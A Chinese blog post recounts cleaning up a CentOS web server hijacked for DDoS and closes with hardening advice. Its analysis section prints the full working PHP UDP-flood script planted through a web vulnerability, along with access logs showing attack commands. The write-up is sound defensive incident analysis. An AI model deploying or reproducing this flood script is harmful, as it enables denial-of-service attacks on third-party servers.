今天早上五點,收到監控寶的警告短信,說是網站M無法訪問了。睡的正香,再說網站所在系統是centos,重要數據每天都備份,應該很安全,也沒有在意。倒頭接著睡覺去了。
早上九點,機房負責人直接給我打來電話,說是全機房網絡巨慢,單位的所有網站都打不開或打開的很慢。Centos服務器被掛馬的一次抓馬經歷。
我趕緊趕了過去,查看了一下那里網絡,發現175服務總是以50M/S速度向外發包,而175服務器正是網站M所在的服務器。
果斷SSH連接175服務器,發現175服務器連接也很慢,連上之后top一下,查看cpu負載:
top
發現有兩個apache進程占用cpu一直在40%以上,馬上停止httpd 服務
1
|
service httpd stop |
停止httpd服務之后,再看網絡狀態,175服務器也不向外發包了,一切正常。
由此判斷應該是175服務器掛了馬,瘋狂向外發包,擠占了全部機房帶寬。
下一步就是抓馬了!
175服務器是有硬件防火墻,只開http80跟ssh22端口,ssh不太可能被盜號,應該是通過web漏洞掛馬。早上5點才中招的,木馬程序文件應該在1天之內。
切到M站點根目錄之下,查找最近一天內變動的文件,執行
1
|
find ./ -mtime -1 |
果然,一個名為phzLtoxn.php的可疑文件出現在目錄列表中。查看一下木馬程序的創建者,執行
1
|
ls -l phzLtoxn.php |
這里發現文件就沒了,難道這文件還會自我銷毀?Centos服務器被掛馬的一次抓馬經歷
原來發生了一個小插曲,隔壁的管理員小黃也注意到這個文件,二話不說就刪除了。我過去劈頭批評教育了小黃一頓。見了木馬程序就知道刪刪刪刪!難道木馬程序不會再生成啊?你得順藤摸瓜,不是一刀切。你得找到漏洞源頭!刪了沒辦法,再把httpd服務開啟了,引狼入室,等等看能否再生成。
果然,半小時不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件創建者是apache,由此判斷這肯定是通過網站漏洞上傳的。
分析一下木馬文件,看下黑客意圖
這里貼出phzLtoxn.php文件源代碼,并作了簡單注釋,僅作學習之用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php //設置腳本運行時間 set_time_limit(999999); //攻擊目標服務器ip $host = $_GET[ 'host' ]; //攻擊目標服務器端口 $port = $_GET[ 'port' ]; //攻擊時長 $exec_time = $_GET[ 'time' ]; //每次發送字節數 $Sendlen = 65535; $packets = 0; //設置客戶機斷開不終止腳本的執行 ignore_user_abort(TRUE); //step1. 目標服務器 $host 、端口 $port 、運行時長$exec_time有效性 if (StrLen( $host ) == 0 or StrLen( $port ) == 0 or StrLen($exec_time) == 0) { if (StrLen($_GET[ 'rat' ]) <> 0) { echo $_GET[ 'rat' ] . $_SERVER[ "HTTP_HOST" ] . "|" . GetHostByName($_SERVER[ 'SERVER_NAME' ]) . "|" . php_uname() . "|" . $_SERVER[ 'SERVER_software' ] . $_GET[ 'rat' ]; exit; } echo "Warning to: opening" ; exit; } //step2. 設定發字符串 $out ,這里是“AAAAAAAAAA...” for ( $i = 0; $i < $Sendlen ; $i ++) { $out .= "A" ; } $max_time = time() + $exec_time; //step3. 進行攻擊,使用udp向目標服務器狠狠發串串 while (1) { $packets ++; if (time() > $max_time) { break; } $fp = fsockopen( "udp://$host" , $port , $errno , $errstr , 5); if ( $fp ) { fwrite( $fp , $out ); fclose( $fp ); } } //step4. 攻擊統計 echo "Send Host $host:$port<br><br>" ; echo "Send Flow $packets * ($Sendlen/1024=" . round( $Sendlen / 1024, 2) . ")kb / 1024 = " . round( $packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>" ; echo "Send Rate " . round( $packets / $exec_time, 2) . " packs/s" . round( $packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s" ; ?> |
從以上代碼可以看出,是個典型的ddos攻擊代碼。黑客應該是把我們服務器當傀儡使用,組織大量傀儡服務器瘋狂向目標服務器發包。黑客只需要打開瀏覽器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以對目標服務器進行ddos攻擊了。
查看httpd日志,分析下攻擊ip源,執行
1
2
|
tail /var/log/httpd/access.log | grep phzLtonxn.php 183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" |
發現源ip來自多個,目標服務器ip也有多個,都屬于很多國家,有點奇怪啊,為什么黑客有針對性的攻擊呢,無聊的黑客啊。
下一步,找漏洞!
1、重新審視了M站目錄下文件權限。僅對幾個必要的緩存、靜態化的目錄為apache開啟了寫權限,防止phzLtoxn.php文件再次生成。
2、重新開啟httpd服務,使用360網站檢測 http://webscan.360.cn/ 對H站進行漏洞檢測,發現H站中有嚴重的遠程執行漏洞,于是趕緊打了補丁。
3、補丁打好之后,順便修改了系統用戶、數據庫用戶、ftp用戶的密碼、M站系統用戶密碼。
觀察幾日之后,一切正常。
小結一下幾個安全原則
1、權限最小化。
web目錄一定做好權限,僅僅對apache開幾個必要文件夾的寫權限。
2、時刻注意補丁更新。
經常使用第三方的網站安全檢測工具,如http://webscan.360.cn,也可參考十大安全評估工具,如果網站系統使用了第三方常用程序,多注意一下烏云漏洞平臺的信息http://www.wooyun.org/。
3、中招后一定要補牢。
別光刪刪刪刪,要查找中招源頭,分析黑客目的。
這是還是請大牛小牛們分析一下,為什么這幫黑客用那么多的肉雞來ddos攻擊不同的服務器,而這些被ddos攻擊的服務器之間卻沒有什么聯系。為什么攻擊沒有針對性?難道是為了耗帶寬玩?!
原文鏈接:http://blog.csdn.net/qq_21439971/article/details/54631440